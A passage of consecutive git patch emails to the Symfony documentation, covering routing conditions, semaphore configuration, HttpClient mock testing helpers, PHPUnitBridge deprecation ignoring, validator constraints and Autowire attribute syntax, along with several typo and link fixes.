-            // condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
             public function contact(): Response
             {
                 // ...
             }
+
+            #[Route(
+                '/posts/{id}',
+                name: 'post_show',
+                // expressions can retrieve route parameter values using the "params" variable
+                condition: "params['id'] < 1000"
+            )]
+            public function showPost(int $id): Response
+            {
+                // ... return a JSON response with the post
+            }
         }
 
     .. code-block:: yaml
@@ -367,6 +391,12 @@ arbitrary matching logic:
             # expressions can even use environment variables:
             # condition: "context.getHost() == env('APP_MAIN_HOST')"
 
+        post_show:
+            path:       /posts/{id}
+            controller: 'App\Controller\DefaultController::showPost'
+            # expressions can retrieve route parameter values using the "params" variable
+            condition:  "params['id'] < 1000"
+
     .. code-block:: xml
 
         <!-- config/routes.xml -->
@@ -383,6 +413,11 @@ arbitrary matching logic:
                 <!-- expressions can even use environment variables: -->
                 <!-- <condition>context.getHost() == env('APP_MAIN_HOST')</condition> -->
             </route>
+
+            <route id="post_show" path="/posts/{id}" controller="App\Controller\DefaultController::showPost">
+                <!-- expressions can retrieve route parameter values using the "params" variable -->
+                <condition>params['id'] &lt; 1000</condition>
+            </route>
         </routes>
 
     .. code-block:: php
@@ -400,6 +435,11 @@ arbitrary matching logic:
                 // expressions can even use environment variables:
                 // ->condition('context.getHost() == env("APP_MAIN_HOST")')
             ;
+            $routes->add('post_show', '/posts/{id}')
+                ->controller([DefaultController::class, 'showPost'])
+                // expressions can retrieve route parameter values using the "params" variable
+                ->condition('params["id"] < 1000')
+            ;
         };
 
 The value of the ``condition`` option is any valid
@@ -414,6 +454,14 @@ and can use any of these variables created by Symfony:
     The :ref:`Symfony Request <component-http-foundation-request>` object that
     represents the current request.
 
+``params``
+    An array of matched :ref:`route parameters <routing-route-parameters>` for
+    the current route.
+
+.. versionadded:: 6.1
+
+    The ``params`` variable was introduced in Symfony 6.1.
+
 You can also use this function:
 
 ``env(string $name)``
@@ -478,6 +526,8 @@ controller action that you expect:
 
       [OK] Route "app_lucky_number" matches
 
+.. _routing-route-parameters:
+
 Route Parameters
 ----------------
 
@@ -1385,7 +1435,7 @@ A possible solution is to change the parameter requirements to be more permissiv
 
         // src/Controller/DefaultController.php
         namespace App\Controller;
-        
+
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
@@ -1505,7 +1555,7 @@ when importing the routes.
 
         // src/Controller/BlogController.php
         namespace App\Controller;
-        
+
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;

From c935226df02bcd7cc5c0c66377c2315aedae5a39 Mon Sep 17 00:00:00 2001
From: CJDennis <CJDennis@users.noreply.github.com>
Date: Mon, 2 May 2022 13:25:16 +1000
Subject: [PATCH 3208/7107] Update twig_extension.rst

Improve grammar
---
 templating/twig_extension.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/templating/twig_extension.rst b/templating/twig_extension.rst
index 03fcd7a9471..5891eb1a1c1 100644
--- a/templating/twig_extension.rst
+++ b/templating/twig_extension.rst
@@ -4,8 +4,8 @@
 How to Write a custom Twig Extension
 ====================================
 
-`Twig Extensions`_ allow to create custom functions, filters and more to use
-them in your Twig templates. Before writing your own Twig extension, check if
+`Twig Extensions`_ allow the creation of custom functions, filters, and more to use
+in your Twig templates. Before writing your own Twig extension, check if
 the filter/function that you need is already implemented in:
 
 * The `default Twig filters and functions`_;
@@ -16,7 +16,7 @@ Create the Extension Class
 --------------------------
 
 Suppose you want to create a new filter called ``price`` that formats a number
-into money:
+as currency:
 
 .. code-block:: twig
 
@@ -117,7 +117,7 @@ them) performance is not affected. However, if extensions define lots of complex
 dependencies (e.g. those making database connections), the performance loss can
 be significant.
 
-That's why Twig allows to decouple the extension definition from its
+That's why Twig allows decoupling the extension definition from its
 implementation. Following the same example as before, the first change would be
 to remove the ``formatPrice()`` method from the extension and update the PHP
 callable defined in ``getFilters()``::

From 082570a630df4d22c3680644c2c6d4eb59c329d7 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouterj@users.noreply.github.com>
Date: Mon, 2 May 2022 16:47:43 +0200
Subject: [PATCH 3209/7107] Fixed typo

---
 service_container/factories.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/factories.rst b/service_container/factories.rst
index 89c66b039ff..e0dd2215b9e 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -239,7 +239,7 @@ method name:
                 ->factory(service(InvokableNewsletterManagerFactory::class));
         };
 
-Using Expressions in Email Factories
+Using Expressions in Service Factories
 --------------------------------------
 
 .. versionadded:: 6.1

From c150197d314e45c6f97cb9d53bca8218f18be021 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Fri, 29 Apr 2022 13:35:51 -0400
Subject: [PATCH 3210/7107] [Messenger] fix xml block

---
 messenger.rst | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 605561e39d5..56ef5af1382 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -753,8 +753,8 @@ reset the service container between two messages:
                 https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <framework:messenger>
-                    <framework:transport name="async" dsn="%env(MESSENGER_TRANSPORT_DSN)%" reset-on-message="true">
+                <framework:messenger reset-on-message="true">
+                    <framework:transport name="async" dsn="%env(MESSENGER_TRANSPORT_DSN)%">
                     </framework:transport>
                 </framework:messenger>
             </framework:config>
@@ -775,6 +775,12 @@ reset the service container between two messages:
 
     The ``reset_on_message`` option was introduced in Symfony 5.4.
 
+.. note::
+
+    ``reset_on_message`` will default to true (with no other allowed value) in
+    Symfony 6. To disable this behavior, execute the ``messenger:consume``
+    command with the ``--no-reset`` option.
+
 .. _messenger-retries-failures:
 
 Retries & Failures

From 3fd53b98d165e68d7f92de727529ae8619593f1a Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Tue, 3 May 2022 09:25:25 +0200
Subject: [PATCH 3211/7107] Fix typo in the Unique constraint

---
 reference/constraints/Unique.rst | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 4e24a5f8b3b..45212679259 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -157,7 +157,7 @@ collection::
         # config/validator/validation.yaml
         App\Entity\Poi:
             properties:
-                contactEmails:
+                coordinates:
                     - Unique:
                           fields: [latitude, longitude]
 
@@ -172,8 +172,10 @@ collection::
             <class name="App\Entity\Poi">
                 <property name="coordinates">
                     <constraint name="Unique">
-                        <field>latitude</field>
-                        <field>longitude</field>
+                        <option name="fields">
+                            <value>latitude</value>
+                            <value>longitude</value>
+                        </option>
                     </constraint>
                 </property>
             </class>
@@ -191,7 +193,7 @@ collection::
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
-                $metadata->addPropertyConstraint('contactEmails', new Assert\Unique([
+                $metadata->addPropertyConstraint('coordinates', new Assert\Unique([
                     'fields' => ['latitude', 'longitude'],
                 ]));
             }

From da915703a7222b68378be3b9375fa0d7b1bae02c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 3 May 2022 12:31:42 +0200
Subject: [PATCH 3212/7107] [DependencyInjection] Fix a reference to the
 article about expressions

---
 frontend/encore/simple-example.rst | 1 -
 service_container/factories.rst    | 2 +-
 2 files changed, 1 insertion(+), 2 deletions(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index b8838354235..21a3bad9093 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -467,7 +467,6 @@ Encore supports many more features! For a full list of what you can do, see
 .. _`WebpackEncoreBundle Configuration`: https://github.com/symfony/webpack-encore-bundle#configuration
 .. _`Stimulus`: https://stimulus.hotwired.dev/
 .. _`Stimulus Documentation`: https://stimulus.hotwired.dev/handbook/introduction
-.. _`Symfony UX Packages`: https://github.com/symfony/ux
 .. _`Symfony Stimulus Bridge`: https://github.com/symfony/stimulus-bridge
 .. _`Turbo`: https://turbo.hotwired.dev/
 .. _`symfony/ux-turbo`: https://symfony.com/bundles/ux-turbo/current/index.html
diff --git a/service_container/factories.rst b/service_container/factories.rst
index e0dd2215b9e..985bbe72deb 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -247,7 +247,7 @@ Using Expressions in Service Factories
     Using expressions as factories was introduced in Symfony 6.1.
 
 Instead of using PHP classes as a factory, you can also use
-:doc:`expressions </service_container/expressions>`. This allows you to
+:doc:`expressions </service_container/expression_language>`. This allows you to
 e.g. change the service based on a parameter:
 
 .. configuration-block::

From 3c597d924f4f804febe687fc8c72147914e57aed Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Sun, 1 May 2022 21:36:24 +0200
Subject: [PATCH 3213/7107] Add documentation about semaphore configuration

---
 reference/configuration/framework.rst | 91 ++++++++++++++++++++++++---
 1 file changed, 84 insertions(+), 7 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 8a3c41d3c85..e98f4230f71 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -560,14 +560,14 @@ can also :ref:`disable CSRF protection on individual forms <form-csrf-customizat
 .. configuration-block::
 
     .. code-block:: yaml
-    
+
         # config/packages/framework.yaml
         framework:
             # ...
             csrf_protection: true
-            
+
     .. code-block:: xml
-    
+
         <!-- config/packages/framework.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
@@ -581,9 +581,9 @@ can also :ref:`disable CSRF protection on individual forms <form-csrf-customizat
                 <framework:csrf-protection enabled="true"/>
             </framework:config>
         </container>
-        
+
     .. code-block:: php
-    
+
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
         return static function (FrameworkConfig $framework) {
@@ -3031,7 +3031,8 @@ resources
 
 **type**: ``array``
 
-A list of lock stores to be created by the framework extension.
+A map of lock stores to be created by the framework extension, with
+the name as key and DSN as value:
 
 .. configuration-block::
 
@@ -3054,7 +3055,7 @@ A list of lock stores to be created by the framework extension.
 
             <framework:config>
                 <framework:lock>
-                    <framework:resource>%env(LOCK_DSN)%</framework:resource>
+                    <framework:resource name="default">%env(LOCK_DSN)%</framework:resource>
                 </framework:lock>
             </framework:config>
         </container>
@@ -3082,6 +3083,82 @@ name
 
 Name of the lock you want to create.
 
+semaphore
+~~~~~~~~~
+
+.. versionadded:: 6.1
+
+    The ``semaphore`` option was introduced in Symfony 6.1.
+
+**type**: ``string`` | ``array``
+
+The default semaphore adapter. Store's DSN are also allowed.
+
+.. _reference-semaphore-enabled:
+
+enabled
+.......
+
+**type**: ``boolean`` **default**: ``true``
+
+Whether to enable the support for semaphore or not. This setting is
+automatically set to ``true`` when one of the child settings is configured.
+
+.. _reference-semaphore-resources:
+
+resources
+.........
+
+**type**: ``array``
+
+A map of semaphore stores to be created by the framework extension, with
+the name as key and DSN as value:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/semaphore.yaml
+        framework:
+            semaphore: '%env(SEMAPHORE_DSN)%'
+
+    .. code-block:: xml
+
+        <!-- config/packages/semaphore.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:semaphore>
+                    <framework:resource name="default">%env(SEMAPHORE_DSN)%</framework:resource>
+                </framework:semaphore>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/semaphore.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->semaphore()
+                ->resource('default', ['%env(SEMAPHORE_DSN)%']);
+        };
+
+.. _reference-semaphore-resources-name:
+
+name
+""""
+
+**type**: ``prototype``
+
+Name of the semaphore you want to create.
+
 mailer
 ~~~~~~
 

From c86e9575a3771b170887a0961f338973524333a2 Mon Sep 17 00:00:00 2001
From: Christopher <chris@johnstoncode.com>
Date: Fri, 1 Oct 2021 11:11:44 +0100
Subject: [PATCH 3214/7107] [HttpClient] Update http client testing section

---
 http_client.rst | 10 ----------
 1 file changed, 10 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 6055fa7540c..c8ed1171659 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1471,8 +1471,6 @@ Testing Request Data
 
 The ``MockResponse`` class comes with some helper methods to test the request:
 
-* ``getRequestMethod()`` - returns the HTTP method;
-* ``getRequestUrl()`` - returns the URL the request would be sent to;
 * ``getRequestOptions()`` - returns an array containing other information about
   the request such as headers, query parameters, body content etc.
 
@@ -1488,12 +1486,6 @@ Usage example::
         ],
     ]);
 
-    $mockResponse->getRequestMethod();
-    // returns "DELETE"
-
-    $mockResponse->getRequestUrl();
-    // returns "https://example.com/api/article/1337"
-
     $mockResponse->getRequestOptions()['headers'];
     // returns ["Accept: */*", "Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l"]
 
@@ -1567,8 +1559,6 @@ test it in a real application::
             $responseData = $service->createArticle($requestData);
 
             // Assert
-            self::assertSame('POST', $mockResponse->getRequestMethod());
-            self::assertSame('https://example.com/api/article', $mockResponse->getRequestUrl());
             self::assertContains(
                 'Content-Type: application/json',
                 $mockResponse->getRequestOptions()['headers']

From 24311262be5e375c389d99b2b2d2311bd21b1308 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 3 May 2022 16:50:09 +0200
Subject: [PATCH 3215/7107] Readd some missing contents

---
 http_client.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 852ec84c7b7..8123c081aa7 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1837,9 +1837,16 @@ Testing Request Data
 
 The ``MockResponse`` class comes with some helper methods to test the request:
 
+* ``getRequestMethod()`` - returns the HTTP method;
+* ``getRequestUrl()`` - returns the URL the request would be sent to;
 * ``getRequestOptions()`` - returns an array containing other information about
   the request such as headers, query parameters, body content etc.
 
+.. versionadded:: 5.2
+
+    The ``getRequestMethod()`` and ``getRequestUrl()`` methods were introduced
+    in Symfony 5.2.
+
 Usage example::
 
     $mockResponse = new MockResponse('', ['http_code' => 204]);
@@ -1852,6 +1859,12 @@ Usage example::
         ],
     ]);
 
+    $mockResponse->getRequestMethod();
+    // returns "DELETE"
+
+    $mockResponse->getRequestUrl();
+    // returns "https://example.com/api/article/1337"
+
     $mockResponse->getRequestOptions()['headers'];
     // returns ["Accept: */*", "Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l"]
 
@@ -1925,6 +1938,8 @@ test it in a real application::
             $responseData = $service->createArticle($requestData);
 
             // Assert
+            self::assertSame('POST', $mockResponse->getRequestMethod());
+            self::assertSame('https://example.com/api/article', $mockResponse->getRequestUrl());
             self::assertContains(
                 'Content-Type: application/json',
                 $mockResponse->getRequestOptions()['headers']

From 3f4fb3c73bad60cf9a2b539900627c6fb5987143 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 3 May 2022 16:50:45 +0200
Subject: [PATCH 3216/7107] Removed a versionadded directive

---
 http_client.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index ca6d4cca534..332e2ccd6e3 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1800,11 +1800,6 @@ The ``MockResponse`` class comes with some helper methods to test the request:
 * ``getRequestOptions()`` - returns an array containing other information about
   the request such as headers, query parameters, body content etc.
 
-.. versionadded:: 5.2
-
-    The ``getRequestMethod()`` and ``getRequestUrl()`` methods were introduced
-    in Symfony 5.2.
-
 Usage example::
 
     $mockResponse = new MockResponse('', ['http_code' => 204]);

From 5e18c12562b17e05c4f82944468379135ab3b098 Mon Sep 17 00:00:00 2001
From: mondrake <mondrake.org@gmail.com>
Date: Sun, 1 May 2022 22:07:06 +0200
Subject: [PATCH 3217/7107] PHPUnitBridge ignoreFile option

---
 components/phpunit_bridge.rst | 38 +++++++++++++++++++++++++++++++----
 1 file changed, 34 insertions(+), 4 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 0ee30f1a79f..e7a140f6a4c 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -289,13 +289,43 @@ Here is a summary that should help you pick the right configuration:
 |                        | cannot afford to use one of the modes above.        |
 +------------------------+-----------------------------------------------------+
 
+Ignore Deprecations
+...................
+
+.. versionadded:: 6.1
+
+    The ``ignoreFile`` feature was introduced in Symfony 6.1.
+
+If your application has some deprecations that you can't fix for some reasons,
+you can tell Symfony to ignore them.
+
+You need first to create a simple text file with a list of ignore patterns. Each
+pattern is a regular expression.
+
+Lines beginning with an hash (#) will be considered comments:
+
+.. code-block:: terminal
+
+    # This file contains patterns to be ignored while testing for use of
+    # deprecated code.
+
+    %The "Symfony\\Component\\Validator\\Context\\ExecutionContextInterface::.*\(\)" method is considered internal Used by the validator engine\. (Should not be called by user\W+code\. )?It may change without further notice\. You should not extend it from "[^"]+"\.%
+    %The "PHPUnit\\Framework\\TestCase::addWarning\(\)" method is considered internal%
+
+Then, you can run the following command to use that file and ignore those deprecations:
+
+.. code-block:: terminal
+
+    $ SYMFONY_DEPRECATIONS_HELPER='ignoreFile=./tests/baseline-ignore' ./vendor/bin/simple-phpunit
+
 Baseline Deprecations
 .....................
 
-If your application has some deprecations that you can't fix for some reasons,
-you can tell Symfony to ignore them. The trick is to create a file with the
-allowed deprecations and define it as the "deprecation baseline". Deprecations
-inside that file are ignored but the rest of deprecations are still reported.
+You can also take a snapshot of deprecations currently triggered by your application
+code, and ignore those during your test runs, still reporting newly added ones.
+The trick is to create a file with the allowed deprecations and define it as the
+"deprecation baseline". Deprecations inside that file are ignored but the rest of
+deprecations are still reported.
 
 First, generate the file with the allowed deprecations (run the same command
 whenever you want to update the existing file):

From e7acfd907449120744b2520e85cda0e691b6e4a0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 3 May 2022 17:36:22 +0200
Subject: [PATCH 3218/7107] Minor reword

---
 components/phpunit_bridge.rst | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index e7a140f6a4c..b823080629d 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -289,8 +289,8 @@ Here is a summary that should help you pick the right configuration:
 |                        | cannot afford to use one of the modes above.        |
 +------------------------+-----------------------------------------------------+
 
-Ignore Deprecations
-...................
+Ignoring Deprecations
+.....................
 
 .. versionadded:: 6.1
 
@@ -299,10 +299,9 @@ Ignore Deprecations
 If your application has some deprecations that you can't fix for some reasons,
 you can tell Symfony to ignore them.
 
-You need first to create a simple text file with a list of ignore patterns. Each
-pattern is a regular expression.
-
-Lines beginning with an hash (#) will be considered comments:
+You need first to create a text file where each line is a deprecation to ignore
+defined as a regular expression. Lines beginning with a hash (``#``) are
+considered comments:
 
 .. code-block:: terminal
 

From 2bf52dda9fff89630b247d83a09e0dc893ee17d7 Mon Sep 17 00:00:00 2001
From: Mark van den Berg <mjpvandenberg@gmail.com>
Date: Tue, 3 May 2022 22:08:03 +0200
Subject: [PATCH 3219/7107] AsMessageHandler can be used on class methods

---
 messenger.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 228e2c74c01..4fbfdb5ab4b 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -76,6 +76,13 @@ message class (or a message interface)::
     using PHP 7.4), by implementing :class:`Symfony\\Component\\Messenger\\Handler\\MessageHandlerInterface`
     instead.
 
+.. note::
+
+    As of Symfony 6.1, the ``AsMessageHandler`` attribute can be used on individual 
+    class methods as well. You may use the attribute on as many methods in a single
+    class as you like, allowing you to group the handling of multiple related types 
+    of messages.
+
 Thanks to :ref:`autoconfiguration <services-autoconfigure>` and the ``SmsNotification``
 type-hint, Symfony knows that this handler should be called when an ``SmsNotification``
 message is dispatched. Most of the time, this is all you need to do. But you can

From dba5d2a7084a32a359702afeeefdba42eef14aa8 Mon Sep 17 00:00:00 2001
From: Tomas <norkunas.tom@gmail.com>
Date: Mon, 2 May 2022 07:15:06 +0300
Subject: [PATCH 3220/7107] [Validator] Showcase custom validator constraint
 required option

---
 validation/custom_constraint.rst | 55 +++++++++++++++++++++++++++++++-
 1 file changed, 54 insertions(+), 1 deletion(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index c68b4e125de..6eb40db5d9f 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -48,6 +48,59 @@ First you need to create a Constraint class and extend :class:`Symfony\\Componen
 Add ``@Annotation`` or ``#[\Attribute]`` to the constraint class if you want to
 use it as an annotation/attribute in other classes.
 
+.. versionadded:: 6.1
+
+    The ``#[HasNamedArguments]`` attribute was introduced in Symfony 6.1.
+
+You can use ``#[HasNamedArguments]`` or ``getRequiredOptions()`` to make some constraint options required:
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Validator/ContainsAlphanumeric.php
+        namespace App\Validator;
+
+        use Symfony\Component\Validator\Constraint;
+
+        /**
+         * @Annotation
+         */
+        class ContainsAlphanumeric extends Constraint
+        {
+            public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
+            public $mode;
+
+            public function getRequiredOptions(): array
+            {
+                return ['mode'];
+            }
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Validator/ContainsAlphanumeric.php
+        namespace App\Validator;
+
+        use Symfony\Component\Validator\Attribute\HasNamedArguments;
+        use Symfony\Component\Validator\Constraint;
+
+        #[\Attribute]
+        class ContainsAlphanumeric extends Constraint
+        {
+            public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
+
+            public string $mode;
+
+            #[HasNamedArguments]
+            public function __construct(string $mode, array $groups = null, mixed $payload = null)
+            {
+                parent::__construct([], $groups, $payload);
+
+                $this->mode = $mode;
+            }
+        }
+
 Creating the Validator itself
 -----------------------------
 
@@ -271,7 +324,7 @@ not to the property:
         namespace App\Entity;
 
         use App\Validator as AcmeAssert;
-        
+
         /**
          * @AcmeAssert\ProtocolClass
          */

From 4384ab3eace3c66f5a76b77994ceb887a203bbb8 Mon Sep 17 00:00:00 2001
From: Alexandre Bertrand <trandbert37@users.noreply.github.com>
Date: Wed, 4 May 2022 10:02:24 +0200
Subject: [PATCH 3221/7107] [Form] Fix an inversion between object and class

---
 form/embedded.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/embedded.rst b/form/embedded.rst
index 787580a41d1..156b8a7a767 100644
--- a/form/embedded.rst
+++ b/form/embedded.rst
@@ -15,7 +15,7 @@ Embedding a Single Object
 -------------------------
 
 Suppose that each ``Task`` belongs to a ``Category`` object. Start by
-creating the ``Category`` object::
+creating the ``Category`` class::
 
     // src/Entity/Category.php
     namespace App\Entity;

From 3820455780e09c28f73c489f42445ae0580ad8cc Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Wed, 4 May 2022 09:50:20 -0400
Subject: [PATCH 3222/7107] removing references to flex.symfony.com

---
 page_creation.rst           | 2 +-
 quick_tour/flex_recipes.rst | 4 ++--
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/page_creation.rst b/page_creation.rst
index af315b188c4..48e20b08e0b 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -368,4 +368,4 @@ Go Deeper with HTTP & Framework Fundamentals
 .. _`Twig`: https://twig.symfony.com
 .. _`Composer`: https://getcomposer.org
 .. _`Stellar Development with Symfony`: https://symfonycasts.com/screencast/symfony/setup
-.. _`Flex recipes`: https://flex.symfony.com
+.. _`Flex recipes`: https://github.com/symfony/recipes/blob/flex/main/RECIPES.md
diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst
index 7df715aca5a..7135c6b3ecd 100644
--- a/quick_tour/flex_recipes.rst
+++ b/quick_tour/flex_recipes.rst
@@ -53,7 +53,7 @@ It's a way for a library to automatically configure itself by adding and modifyi
 files. Thanks to recipes, adding features is seamless and automated: install a package
 and you're done!
 
-You can find a full list of recipes and aliases by going to `https://flex.symfony.com`_.
+You can find a full list of recipes and aliases inside `RECIPES.md on the recipes repository`_.
 
 What did this recipe do? In addition to automatically enabling the feature in
 ``config/bundles.php``, it added 3 things:
@@ -264,6 +264,6 @@ and it's the most important yet. I want to show you how Symfony empowers you to
 build features *without* sacrificing code quality or performance. It's all about
 the service container, and it's Symfony's super power. Read on: about :doc:`/quick_tour/the_architecture`.
 
-.. _`https://flex.symfony.com`: https://flex.symfony.com
+.. _`RECIPES.md on the recipes repository`: https://github.com/symfony/recipes/blob/flex/main/RECIPES.md
 .. _`API Platform`: https://api-platform.com/
 .. _`Twig`: https://twig.symfony.com/

From 1f2f0e4870c15943e06a0b0b1f30f5bbe7d67ac6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 May 2022 16:20:49 +0200
Subject: [PATCH 3223/7107] Remove an unused reference

---
 frontend/encore/simple-example.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index b8838354235..21a3bad9093 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -467,7 +467,6 @@ Encore supports many more features! For a full list of what you can do, see
 .. _`WebpackEncoreBundle Configuration`: https://github.com/symfony/webpack-encore-bundle#configuration
 .. _`Stimulus`: https://stimulus.hotwired.dev/
 .. _`Stimulus Documentation`: https://stimulus.hotwired.dev/handbook/introduction
-.. _`Symfony UX Packages`: https://github.com/symfony/ux
 .. _`Symfony Stimulus Bridge`: https://github.com/symfony/stimulus-bridge
 .. _`Turbo`: https://turbo.hotwired.dev/
 .. _`symfony/ux-turbo`: https://symfony.com/bundles/ux-turbo/current/index.html

From fd05739e1ec0312ade7742360bf300dc81f0b747 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Wed, 4 May 2022 09:41:54 -0400
Subject: [PATCH 3224/7107] [DependencyInjection] adjust `Autowire` attribute
 docs

---
 controller.rst                   |  6 +++---
 service_container/autowiring.rst | 10 +++++-----
 2 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/controller.rst b/controller.rst
index 00da69fc15c..2eb1af1fe03 100644
--- a/controller.rst
+++ b/controller.rst
@@ -225,8 +225,8 @@ command:
 
 .. tip::
 
-    If you need control over the *exact* value of an argument, you can use the
-    ``#[Autowire]`` attribute::
+    If you need control over the *exact* value of an argument, or require a parameter,
+    you can use the ``#[Autowire]`` attribute::
 
         // ...
         use Psr\Log\LoggerInterface;
@@ -239,7 +239,7 @@ command:
                 int $max,
 
                 // inject a specific logger service
-                #[Autowire('@monolog.logger.request')]
+                #[Autowire(service: 'monolog.logger.request')]
                 LoggerInterface $logger,
 
                 // or inject parameter values
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index b5387415614..a4a6f63bbcb 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -545,8 +545,8 @@ To fix this, you can :ref:`manually wire the problematic argument <services-manu
 in the service configuration. You wire up only the difficult arguments,
 Symfony takes care of the rest.
 
-You can also use the ``#[Autowire]`` parameter attribute to configure the
-problematic arguments:
+You can also use the ``#[Autowire]`` parameter attribute to instruct the autowiring
+logic about those arguments:
 
     // src/Service/MessageGenerator.php
     namespace App\Service;
@@ -557,7 +557,7 @@ problematic arguments:
     class MessageGenerator
     {
         public function __construct(
-            #[Autowire('@monolog.logger.request')] LoggerInterface $logger
+            #[Autowire(service: 'monolog.logger.request')] LoggerInterface $logger
         ) {
             // ...
         }
@@ -586,8 +586,8 @@ and even :doc:`complex expressions </service_container/expression_language>`::
             #[Autowire('%kernel.debug%')]
             bool $debugMode,
 
-            // and @=... for expressions
-            #[Autowire("@=service("App\\Mail\\MailerConfiguration").getMailerMethod()")]
+            // and expressions
+            #[Autowire(expression: "service("App\\Mail\\MailerConfiguration").getMailerMethod()")]
             string $mailerMethod
         ) {
         }

From 235b3029f761433851bba52571d12e967f7d1312 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 May 2022 16:29:54 +0200
Subject: [PATCH 3225/7107] Minor fix

---
 service_container/autowiring.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index a4a6f63bbcb..a63dc85cc2a 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -587,7 +587,7 @@ and even :doc:`complex expressions </service_container/expression_language>`::
             bool $debugMode,
 
             // and expressions
-            #[Autowire(expression: "service("App\\Mail\\MailerConfiguration").getMailerMethod()")]
